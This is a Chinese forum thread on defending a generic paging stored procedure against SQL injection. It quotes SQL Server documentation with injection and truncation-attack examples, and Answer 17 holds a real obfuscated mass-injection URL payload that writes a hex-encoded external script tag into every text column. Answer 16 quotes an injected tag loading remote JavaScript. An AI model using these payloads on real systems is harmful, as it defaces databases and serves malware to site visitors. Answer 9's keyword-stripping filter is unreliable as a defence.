通用分页存储过程如何防止SQL注入？高手接分啦，100在线等，急。。。。。

Question

SQL Server 2005 联机丛书  
 
SQL 注入更新日期： 2005 年 12 月 5 日 SQL 注入是一种攻击方式，在这种攻击方式中，恶意代码被插入到字符串中，然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查，因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时，将执行该恶意代码。 注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串，因此攻击者将用注释标记“--”来终止注入的字符串。执行时，此后的文本将被忽略。以下脚本显示了一个简单的 SQL 注入。此脚本通过串联硬编码字符串和用户输入的字符串而生成一个 SQL 查询： 复制代码 
var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";
 用户将被提示输入一个市县名称。如果用户输入 Redmond，则查询将由与下面内容相似的脚本组成：SELECT * FROM OrdersTable WHERE ShipCity = 'Redmond' 但是，假定用户输入以下内容： Redmond'; drop table OrdersTable-- 此时，脚本将组成以下查询：SELECT * FROM OrdersTable WHERE ShipCity = 'Redmond';drop table OrdersTable--' 分号 (;) 表示一个查询的结束和另一个查询的开始。双连字符 (--) 指示当前行余下的部分是一个注释，应该忽略。如果修改后的代码语法正确，则服务器将执行该代码。SQL Server 处理该语句时，SQL Server 将首先选择 OrdersTable 中的所有记录（其中 ShipCity 为 Redmond）。然后，SQL Server 将删除 OrdersTable。只要注入的 SQL 代码语法正确，便无法采用编程方式来检测篡改。因此，必须验证所有用户输入，并仔细检查在您所用的服务器中执行构造 SQL 命令的代码。本主题中的以下各部分说明了编写代码的最佳做法。验证所有输入
始终通过测试类型、长度、格式和范围来验证用户输入。实现对恶意输入的预防时，请注意应用程序的体系结构和部署方案。请记住，为在安全环境下运行而设计的程序可能被复制到不安全的环境中。以下建议应被视为最佳做法： 对应用程序接收的数据不做任何有关大小、类型或内容的假设。例如，您应该进行以下评估： 

Answer 1

如果一个用户在需要邮政编码的位置无意中或恶意地输入了一个 10 MB 的 MPEG 文件，应用程序会做出什么反应？ 
如果在文本字段中嵌入了一个 DROP TABLE 语句，应用程序会做出什么反应？ 
测试输入的大小和数据类型，强制执行适当的限制。这有助于防止有意造成的缓冲区溢出。 
测试字符串变量的内容，只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入，防止某些缓冲区溢出攻击。
使用 XML 文档时，根据数据的架构对输入的所有数据进行验证。
绝不直接使用用户输入内容来生成 Transact-SQL 语句。 
使用存储过程来验证用户输入。
在多层环境中，所有数据都应该在验证之后才允许进入可信区域。未通过验证过程的数据应被拒绝，并向前一层返回一个错误。
实现多层验证。对无目的的恶意用户采取的预防措施对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。 例如，在客户端应用程序中验证数据可以防止简单的脚本注入。但是，如果下一层假设其输入已被验证，则任何可以跳过客户端的恶意用户就可能不受限制地访问系统。 
绝不串联未验证的用户输入。字符串串联是脚本注入的主要输入点。 
在可能据以构造文件名的字段中，不接受下列字符串：AUX、CLOCK$、COM1 到 COM8、CON、CONFIG$、LPT1 到 LPT8、NUL 以及 PRN。

Answer 2

如果可能，拒绝包含以下字符的输入。输入字符  在 Transact-SQL 中的含义  
;
 查询分隔符。
 
'
 字符数据字符串分隔符。
 
-- 
 注释分隔符。
 
/* ... */
 注释分隔符。服务器不对 /* 和 */ 之间的注释进行处理。
 
Xp_ 
 用于目录扩展存储过程的名称的开头，如 xp_cmdshell。
 使用类型安全的 SQL 参数
SQL Server 中的 Parameters 集合提供了类型检查和长度验证。如果使用 Parameters 集合，则输入将被视为文字值而不是可执行代码。使用 Parameters 集合的另一个好处是可以强制执行类型和长度检查。范围以外的值将触发异常。以下代码段显示了如何使用 Parameters 集合： 复制代码 
SqlDataAdapter myCommand = new SqlDataAdapter("AuthorLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id",
     SqlDbType.VarChar, 11);
parm.Value = Login.Text;
 在此示例中，@au_id 参数被视为文字值而不是可执行代码。将对此值进行类型和长度检查。如果 @au_id 值不符合指定的类型和长度约束，则将引发异常。在存储过程中使用参数化输入
存储过程如果使用未筛选的输入，则可能容易受 SQL 注入攻击。例如，以下代码容易受到攻击： 复制代码 
SqlDataAdapter myCommand = 
new SqlDataAdapter("LoginStoredProcedure '" + 
                               Login.Text + "'", conn);
 如果使用存储过程，则应使用参数作为存储过程的输入。在动态 SQL 中使用参数集合
如果不能使用存储过程，您仍可使用参数，如以下代码示例所示： 复制代码 
SqlDataAdapter myCommand = new SqlDataAdapter(
"SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id", conn);
SQLParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id", 
                        SqlDbType.VarChar, 11);
Parm.Value = Login.Text;
 筛选输入
筛选输入可以删除转义符，这也可能有助于防止 SQL 注入。但由于可引起问题的字符数量很大，因此这并不是一种可靠的防护方法。以下示例可搜索字符串分隔符。 复制代码 
private string SafeSqlLiteral(string inputSQL)
{
  return inputSQL.Replace("'", "''");
}

Answer 3

LIKE 子句
请注意，如果要使用 LIKE 子句，还必须对通配符字符进行转义： 复制代码 
s = s.Replace("[", "[[]");
s = s.Replace("%", "[%]");
s = s.Replace("_", "[_]");
 在代码中检查 SQL 注入
应检查所有调用 EXECUTE、EXEC 或 sp_executesql 的代码。可以使用类似如下的查询来帮助您标识包含这些语句的过程。SELECT object_Name(id) FROM syscomments WHERE UPPER(text) LIKE '%EXECUTE (%' OR UPPER(text) LIKE '%EXECUTE (%' OR UPPER(text) LIKE '%EXECUTE (%' OR UPPER(text) LIKE '%EXECUTE (%' OR UPPER(text) LIKE '%EXEC (%' OR UPPER(text) LIKE '%EXEC (%' OR UPPER(text) LIKE '%EXEC (%' OR UPPER(text) LIKE '%EXEC (%' OR UPPER(text) LIKE '%SP_EXECUTESQL%' 

Answer 4

使用 QUOTENAME() 和 REPLACE() 包装参数
在选择的每个存储过程中，验证是否对动态 Transact-SQL 中使用的所有变量都进行了正确处理。来自存储过程的输入参数的数据或从表中读取的数据应包装在 QUOTENAME() 或 REPLACE() 中。请记住，传递给 QUOTENAME() 的 @variable 值的数据类型为 sysname，且最大长度为 128 个字符。 @variable  建议的包装  
安全对象的名称
 QUOTENAME(@variable)
 
字符串 ≤ 128 个字符
 QUOTENAME(@variable, '''')
 
字符串 > 128 个字符
 REPLACE(@variable,'''', '''''')
 使用此方法时，可对 SET 语句进行如下修改：--Before: SET @temp = N'select * from authors where au_lname=''' + @au_lname + N'''' --After: SET @temp = N'select * from authors where au_lname=''' + REPLACE(@au_lname,'''','''''') + N'''' 

Answer 5

我的@strWhere里面可能包含
... AND Name='Delete001' ...
这样的查询呀

Answer 6

由数据截断启用的注入
如果分配给变量的任何动态 Transact-SQL 比为该变量分配的缓冲区大，那么它将被截断。如果攻击者能够通过将意外长度的字符串传递给存储过程来强制执行语句截断，则该攻击者可以操作该结果。例如，以下脚本创建的存储过程容易受到由截断启用的注入攻击。CREATE PROCEDURE sp_MySetPassword @loginname sysname, @old sysname, @new sysname AS -- Declare variable. -- Note that the buffer here is only 200 characters long. DECLARE @command varchar(200) -- Construct the dynamic Transact-SQL. -- In the following statement, we need a total of 154 characters -- to set the password of 'sa'. -- 26 for UPDATE statement, 16 for WHERE clause, 4 for 'sa', and 2 for -- quotation s surrounded by QUOTENAME(@loginname): -- 200 – 26 – 16 – 4 – 2 = 154. -- But because @new is declared as a sysname, this variable can only hold -- 128 characters. -- We can overcome this by passing some single quotation s in @new. SET @command= 'update Users set password=' + QUOTENAME(@new, '''') + ' where username=' + QUOTENAME(@loginname, '''') + ' AND password = ' + QUOTENAME(@old, '''') 
-- Execute the command. EXEC (@command) GO 通过向 128 个字符的缓冲区传递 154 个字符，攻击者便可以在不知道旧密码的情况下为 sa 设置新密码。EXEC sp_MySetPassword 'sa', 'dummy', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012''''''''''''''''''''''''''''''''''''''''''''''''''' 因此，应对命令变量使用较大的缓冲区，或直接在 EXECUTE 语句内执行动态 Transact-SQL。

Answer 7

使用 QUOTENAME(@variable, '''') 和 REPLACE() 时的截断
如果 QUOTENAME() 和 REPLACE() 返回的字符串超过了分配的空间，该字符串将被自动截断。以下示例中创建的存储过程显示了可能出现的情况。 CREATE PROCEDURE sp_MySetPassword @loginname sysname, @old sysname, @new sysname AS 
-- Declare variables. DECLARE @login sysname DECLARE @newpassword sysname DECLARE @oldpassword sysname DECLARE @command varchar(2000) 
-- In the following statements, the data stored in temp variables -- will be truncated because the buffer size of @login, @oldpassword, -- and @newpassword is only 128 characters, but QUOTENAME() can return -- up to 258 characters. 
SET @login = QUOTENAME(@loginname, '''') SET @oldpassword = QUOTENAME(@old, '''') SET @newpassword = QUOTENAME(@new, '''') 
-- Construct the dynamic Transact-SQL. -- If @new contains 128 characters, then @newpassword will be '123... n -- where n is the 127th character. -- Because the string returned by QUOTENAME() will be truncated, -- it can be made to look like the following statement: -- UPDATE Users SET password ='1234. . .[127] WHERE username=' -- other stuff here 
SET @command = 'UPDATE Users set password = ' + @newpassword + ' where username =' + @login + ' AND password = ' + @oldpassword; 
-- Execute the command. EXEC (@command) GO 因此，以下语句将把所有用户的密码都设置为在前面的代码中传递的值。EXEC sp_MyProc '--', 'dummy', '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678' 使用 REPLACE() 时，可以通过超出分配的缓冲区空间来强迫字符串截断。以下示例中创建的存储过程显示了可能出现的情况。CREATE PROCEDURE sp_MySetPassword @loginname sysname, @old sysname, @new sysname AS -- Declare variables. DECLARE @login sysname DECLARE @newpassword sysname DECLARE @oldpassword sysname DECLARE @command varchar(2000) -- In the following statements, data will be truncated because -- the buffers allocated for @login, @oldpassword and @newpassword -- can hold only 128 characters, but QUOTENAME() can return -- up to 258 characters. 
SET @login = REPLACE(@loginname, '''', '''''') SET @oldpassword = REPLACE(@old, '''', '''''') SET @newpassword = REPLACE(@new, '''', '''''') 
-- Construct the dynamic Transact-SQL. -- If @new contains 128 characters, @newpassword will be '123...n -- where n is the 127th character. -- Because the string returned by QUOTENAME() will be truncated, it -- can be made to look like the following statement: -- UPDATE Users SET password='1234…[127] WHERE username=' -- other stuff here 
SET @command= 'update Users set password = ''' + @newpassword + ''' where username=''' + @login + ''' AND password = ''' + @oldpassword + ''''; 
-- Execute the command. EXEC (@command) GO 与 QUOTENAME() 一样，可以通过声明对所有情况都足够大的临时变量来避免由 REPLACE() 引起的字符串截断。应尽可能直接在动态 Transact-SQL 内调用 QUOTENAME() 或 REPLACE()。或者，也可以按如下方式计算所需的缓冲区大小。对于 @outbuffer = QUOTENAME(@input)，@outbuffer 的大小应为 2*(len(@input)+1). 。使用 REPLACE() 和双引号时（如上一示例），大小为 2*len(@input) 的缓冲区便已足够。 以下计算涵盖所有情况：While len(@find_string) > 0, required buffer size = round(len(@input)/len(@find_string),0) * len(@new_string) + (len(@input) % len(@find_string)) 使用 QUOTENAME(@variable, ']') 时的截断
当 SQL Server 安全对象的名称被传递给使用 QUOTENAME(@variable, ']') 形式的语句时，可能发生截断。以下代码显示了这一可能性。 CREATE PROCEDURE sp_MyProc @schemaname sysname, @tablename sysname, AS 
-- Declare a variable as sysname. The variable will be 128 characters. -- But @objectname actually must accommodate 2*258+1 characters. DECLARE @objectname sysname SET @objectname = QUOTENAME(@schemaname)+'.'+ QUOTENAME(@tablename) 
-- Do some operations. GO 当您串联 sysname 类型的值时，应使用足够大的临时变量来保存每个值的最多 128 个字符。应尽可能直接在动态 Transact-SQL 内调用 QUOTENAME()。或者，也可以按上一部分所述来计算所需的缓冲区大小。

Answer 8

str = str.Replace("'", "''"); 
str = str.Replace("%", ""); 单引号,百分号不能取掉 
因为可能包含 ... AND Name like '%Delete001%' ...  

Answer 9

  public static string FunStra(string str)
    {
        str = str.Replace("&", "");
        str = str.Replace(" <", "");
        str = str.Replace("> ", "");
        str = str.Replace("'", "");
        str = str.Replace("*", "");
        str = str.Replace("\n", "");
        str = str.Replace("\r\n", "");
        str = str.Replace("?", "");
        str = str.Replace("select", "");
        str = str.Replace("insert", "");
        str = str.Replace("update", "");
        str = str.Replace("delete", "");
        str = str.Replace("create", "");
        str = str.Replace("drop", "");
        str = str.Replace("delcare", "");
        str = str.Replace("       ", "");
        str = System.Text.RegularExpressions.Regex.Replace(str, "DECLARE", "EXEC", System.Text.RegularExpressions.RegexOptions.IgnoreCase);
        str = str.Trim();
        return str;
    } 

Answer 10

Limpire 老大：
可以简单的针对我们的代码说一下具体怎么做吗？你说的大深奥了，没看懂呀，哈哈
我们的主要问题是的@strWhere里面可能包含 ... AND Name='Delete001'  AND Title like '%Update%' ... 或：
... AND Name like '%Delete001%' ...  这样的查询， 请问我们要怎么做才能防止SQl注入，有没有具体的例子？

Answer 11

非常有兴趣听下高人如何解决@strwhere里的sql注入

Answer 12

我们的查询可能包含
... AND Name='Delete001'  AND Title like '%Update%' ...  如果
 str = str.Replace("select", "");
        str = str.Replace("insert", "");
        str = str.Replace("update", "");
        str = str.Replace("delete", "");
        str = str.Replace("create", "");
        str = str.Replace("drop", "");
        str = str.Replace("delcare", "");会不会把我们的要查询用户名的值改变呀

Answer 13

楼主大哥，不是叫你替换整个语句，是替换参数，否则你要更新，update 都没了怎么办了？

Answer 14

主要是我们的同事会传一个已经拼好语句过来，例如：
“ Type=1 AND (Name LIKE '%Update01%' OR Title LIKE '%Delete02%') ”
这整个是一个字符串，所以用你的方法应该是等于替换语句了，呵呵

Answer 15

对，是特多，最近老看到有人说字段被人加了连接
都是<a>,哈

Answer 16

呵呵，已经碰到过 </title></pre>"><scri</title></pre>"><script src=http://1.hao929.cn/ads.js></script><!--
这样的东东了

Answer 17

这个典型的：test.aspx?key=sss;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C2F7469746C653E3C2F7072653E3E3C736372697074207372633D687474703A2F2F73622E353235322E77733A38382F3130372F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

Answer 18

尽量使用参数+存储过程吧,
然后在页面端需要过滤和判断一下,去掉一些特殊字符,如13楼的.
这样才能避免通常的SQL注入.

Answer 19

***************************************************************************思想决定行动,行动决定习惯,习惯决定命运.
程序员在深圳QQ群,交流产生思想碰撞.部份专业群:
程序员在深圳c++群15195967
程序员在深圳英语学习群:23864353
程序员在深圳c++Ⅱ17409451
程序员在深圳嵌入式开发群37489763
程序员在深圳移动开发群31501597
程序员在深圳创业群33653422部份高级程序员群:
高级群I:17538442
高级群II:7120862部份初、中级程序员群:
第三群:2650485
第五群:29537639
第四群:28702746
第六群:10590618
第七群:10543585
第八群:12006492
第九群:19063074
第十群:2883885
第十一群:25460595
第十二群:9663807深圳程序员QQ群联盟成立三年多，拥有三十个以上的QQ群,人数超二千多人,大量经验丰富的老手,成员从业于大公司（如微软、IBM,SUN，华为）、来自国内著名高校和研究院成员，和有丰富实践经验的高级程序员、系统分析员(包括参加过上亿元的项目的架构师),有很热爱技术的成员(包括自己写过嵌入式操作系统),还有少数女程序员。推荐：深程高级群I:17538442 深程高级群II:7120862 (深程高级群不欢迎新手,如果在深圳,月薪6K以下的别加入) c++:15195967  mobile:[phone]嵌入式:37489763  
—————————————————————————————————————————— 
群内交流解决问题的方法，一般难以直接得到答案，问题的解决还是要靠自己。（授之以渔与授之以鱼的关系）。
*****************************************************************************

Answer 20

想了解更多IT技术,请登陆:http://www.ciitc.com

Answer 21

以上各位说的都有道理，但不是非常符合本系统的实际情况：
1.多个子系统传入各种复杂的查询条件：
  例如：当前有3个旧的子系统向我们提交查询，以后又会有几个新开发的子系统向提交查询2.对所有子系统的查询接口是统一的,一个通用的分页查询方法：
   例如：Pager(视图名称，页大小，页号，查询条件，排序条件)3.其中的查询条件是一个已经拼凑好的字符串，例如
“ Type=1 AND (Name LIKE '%Update01%' OR Title LIKE '%Delete02%') ” 
 而且里面的单引号、百分号等符号不能过滤掉，AND、OR、DELETE、UPDATE等关键字也不能过滤掉目前的主要问题是“查询条件”这个字符串存在SQL注入非常感谢大家的指教，同时期待更好的解决方案。

Answer 22

看看以下这篇文章，这就是你要的
http://www.cnblogs.com/NickYao/archive/2008/11/28/1343229.html

Answer 23

本人考虑个这个问题，跟38楼差不多，但是比他的好，将sql语句存放在xml配置文件中,该配置文件中包所有的查询条件，配置sql如下：
<sqlManager>
<sql key="UserManagerQuery" commandText="sql" commandType=""  orderBy="">
<criteria value="u.LoginName=@LoginName"></criteria>
<criteria value="u.LoginPwd=@LoginPwd"></criteria>
<criteria value="c.Name like % @CompanyName"></criteria>
</sql>
</sqlManager>
然后页面调用组装查询条件，如果想知道细节，加我msn:[email protected]